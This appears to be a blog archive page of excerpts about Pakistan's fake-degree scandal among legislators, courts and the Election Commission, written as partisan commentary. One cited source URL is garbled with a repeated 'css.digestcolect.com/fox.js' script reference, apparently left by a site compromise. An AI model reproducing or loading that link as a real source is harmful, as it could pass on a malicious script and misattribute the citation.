جعلی ڈگریاں – از فہمیدہ ریاض: یہ پرانی بات ہے لیکن جب ہم اسکول مین پڑھتے تھے تب سنا کرتے تھے کہ امریکی ڈگریوں کا کوی اعتبار نہیں ۔ وہاں جعلی ڈگریاں بیچی جاتی ہیں ۔اس زمانے کے بہت بعد تک ، اعلی تعلیم کے

The degree is the best revenge: In Pakistan, judiciary and election commission assume the role played by military dictators: Source: Adapted with some changes from Dawn newspaper Wednesday 3 April 2013 wreaked unprecedented havoc. High profile politicians such as Jamshed Dasti and Sheikh Waqas Akram were disqualified for their ‘dodgy’ education certificates. In contrast, nomination papers of known

Mr. Bean Graduates – by Zulfiqar Ali: It is real news to me that ECP can commit such a blunder by asking leader of the opposition to submit his certificate of FA or its equivalents. How can a leader of such high profile not have genuine

New day, new issue – by Ahmed Iqbalabadi: Our dearest friend, Ansar Abbasi, is always on the lookout of ways to embarrass the political system and political leaders. He was the one who was the architect of last year’s circus of “Fake Degrees”. The pretext of the

Return all the money you earned! Supreme Court roars: As they say there is an eerie calm before the storm. After a few weeks of quiet, the Supreme Court is on to it again. This time asking a PML-N legislator possessing a fake degree to return salaries, allowances

Another Leghari shaking the system? – by Amjad Rashid: Editor’s Note: Personally I don’t agree with some of the ‘facts’ presented in this article. The LUBP has in principle supported Dr. Javed Leghari’s position on fake degree scandal.  Dr Laghari is the same man who was appointed by

The Dilemma of Education- by Sidra Zia Butt: “Degree degree hoti hai, chahe asli hu ya jaali!” Pakistan has got a lot of problems. But these are our favorite: ‘double-sawari’ and motorbikes, Basant – to be or not to be, one hour later or one hour ago,  Meals

HRCP alarmed over action targetting HEC chair’s family: Source Daily Times LAHORE: The Human Rights Commission of Pakistan (HRCP) has expressed serious concern over the manner in which action has been taken against relations of Javed Leghari, chairman of the Higher Education Commission (HEC), at a time

Foul play or sheer timing? The curious case of the HEC Chairman’s brother: Here is a compilation of various news reports and analyses which raise doubts about the sudden (and unusual) process of anti-corruption started against Farooq Leghari, younger brother of Javed Leghari, chairman of Pakistan’s Higher Education Commission (HEC). Overall it

Lordship CJ’s selective honesty ? – by Jinnah Bhutto: There are few things which cannot be compromised based on our religious teachings. Firstly, if you ever find out that your Imam in the mosque is corrupt (likes to have a drink once in a while, when mood is good

Media freedoms versus responsibility (holy cow syndrome): Published today in The News Much has been said about media accountability and the dire need of a regulation framework for Pakistan’s new power centre. Pakistani media has earned its freedom and independence after a long, often bloody, struggle

The curious case of Abid Sher Ali- by Umair Javed:   Source: Recycled Thought   The Curious Case of Abid Sher Ali Apologies for the really cliched title, but there is no other word, apart from curious, to describe Mr Sher Ali and his role in the fake degrees

Politicians are their own enemy – Ayaz Amir’s article: Ayaz Amir was a renowned columnist years before he became an elected legislator from his hometown of Chakwal. Urbane and suave, seeing him with the PML-N makes me wonder about his judgment about a party and its leadership. One

Fake Degrees Vs Fake Petrol Bills:   Source: http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&pakistannewsblog.com/fake-degrees-vs-fake-petrol-bills/ A lot is being said these days about “Fake Degrees” and the political black sheep sitting in our assemblies. The media is leading the campaign to cleanse the assemblies and our honorable judges are providing the

Varying Degrees of Reality- by Sana Ali: To an avid spectator of Pakistani politics, manufactured hysteria is a sad reality. To the same spectator, there is nothing surprising about the media’s seeming obsession with the educational histories of elected officials. The accusing, spiteful and politically-motivated mud-slinging

Four elements of “Dr” Babar Awan: (1) Dark past as a faithful of General Zia-ul-Haq, (2) Hate speech against Ahmadis, (3) Financial corruption (e.g., distribution of funds (bribery) to various bar councils and lawyers, charges of bribery in Haris Stell Mills) (4) a fake PhD

Sensitizing the Degrees Verification Process – Saleh Zafir’s role: With no National Assembly in session currently where Saleh Zafir could write his salees Urdu and applaud the 2 hour long speeches of Chaudhry Nisar. Neither is the Prime Minister traveling that Saleh Zafir would be free loading a

Reforming the legislators: on the fake degrees – by Raza Rumi: The debate on fake degrees has captured the middle class imagination of Pakistan’s mainstream media. True that lying and misrepresenting facts is not acceptable. Yet, discriminatory laws against the political elites are not kosher either. The debate on the

The fake degrees issue (part ii) – by Fawad Manzoor: This country has over 70% population which is illiterate (almost 120 million out of 170 million). Then the ones who are literate are all not graduates. I don’t have figures but I would assume there aren’t more than 20

The fake degrees issue – by Fawad Manzoor: Choudhry Nisar aka PML-N leader in the national assembly aka Raiwind brother aka industrialist seems to be getting his wish. Judiciary is the new tool for establishment and army to destabilize young democracy in Pakistan. For last sixty years

Election Commission Woes – by Ahmed Iqbalabadi: Working  in the Banking sector which has been rocked by the ongoing crisis of confidence in the region, I have learnt one thing from senior bankers: “Do not rock the boat, but do throw ideas that are not implementable

Ansar Abbasi’s support for Abid Sher Ali – by Ahmed Iqbalabadi: In his op-ed “Siasat ya ikhlaqi pasti ka safar”, Pakistan’s apex investigative journalist , Ansar Abbasi has taken the usual route of claiming high moral ground, given the fake degree holders reason to think and then supported the likes

Chaudhry Abid Sher Ali: a beacon of hope in Pakistani Politics or is he not? – by Ahmed Iqbalabadi: NOTE: I am not trying to defend the people who have fake degrees. There is a court of law that deals with forgery but what is happening in the media is to brand politicians and parliament as inept and

PML-N = PML Na-ehl (disqualified) – by Abdul Nishapuri: Question 1: Which political party claims to be a torch bearer of principled politics and the rule of law in Pakistan? Answer: PML-N Question 2: Which political party has the highest number of members of national and provincial assemblies

Favorable Judgment of LHC to a fake degree holder: The Lahore High Court Judgment on Ajmal Asif is such a blatant example of discrimination by judges. On same account Nazir Jutt ( former MNA and election candidate from NA-167 ) was disqualified only because he was PPP ticket

Bad old ways of Pakistan People’s Party: The PPP Parliamentary Board (under the chair of President Asif Zardari) has decided to award election tickets to the following politicians who recently resigned after their academic degree was proven fake in the Supreme Court of Pakistan. Jamshed Dasti, NA-178,